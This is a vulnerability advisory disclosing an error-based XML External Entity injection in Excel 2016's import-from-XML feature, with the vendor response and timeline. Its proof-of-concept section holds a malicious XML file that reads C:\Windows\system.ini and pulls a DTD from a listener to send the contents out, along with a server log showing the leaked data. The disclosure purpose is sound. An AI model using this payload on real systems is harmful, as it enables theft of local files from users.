Share
[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EXCEL-2016-v1901-IMPORT-ERROR-EXTERNAL-ENTITY-INJECTION.txt  
[+] ISR: ApparitionSec   
  
  
[Vendor]  
www.microsoft.com  
  
  
[Product]  
Excel 2016 v1901  
  
Microsoft Excel is a spreadsheet developed by Microsoft for Windows, macOS, Android and iOS.  
It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications.   
  
  
[CVE]  
N/A  
  
  
[Vulnerability Type]  
Error Import Based XML External Entity Injection  
  
  
[Security Issue]  
Excel query from file feature is vulnerable to "Error" based XML External Entity attacks, if the user chooses the "Import as  
Html page" functionality upon receiving errors importing a specially crafted XML file.  
  
This can result in potential remote data exfiltration, user interaction is required to exploit this vulnerability.  
  
Tested successfuly Windows 10 .NET framework version v4.0.30319.  
  
C:\>dir /b %windir%\Microsoft.NET\Framework\v*  
v4.0.30319  
  
  
[Exploit/POC]  
Create a new ".xlsx" file then, go to Data tab and choose 'New Query/From File/From XML'  
  
1) You will get error like:   
  
"Error:  
  
Unable to connect  
  
We encountered an error while trying to connect.  
  
The user will then get an option to 'Edit' where they can import the file as an HTML file  
  
Result Local data can be exfiltrated to remote server"  
  
2) Excel will then give you option to 'Edit' and import as 'Html Page' from the drop down menu in Excel  
  
User has choose to import as HTML then XXE attack will succeed:  
  
e.g.  
  
127.0.0.1 - - [05/Mar/2019 15:31:16] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FO  
/1.1" 200 -  
  
  
Malicious XML file to load as New Data Query  
  
"test.xml"  
  
<?xml version='1.0'?>  
<!DOCTYPE root [   
<!ENTITY % file SYSTEM 'C:\Windows\system.ini'>  
<!ENTITY % dtd SYSTEM 'http://127.0.0.1:8000/payload.dtd'>  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
  
[Network Access]  
Local  
  
  
[Severity]  
Medium  
  
  
[Disclosure Timeline]  
Vendor Notification: May 10, 2019  
MSRC: May 17, 2019 "case did not meet the bar for servicing as a Security Release.  
Engineering Team may or may not fix in a future version of the release."  
November 30, 2019 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx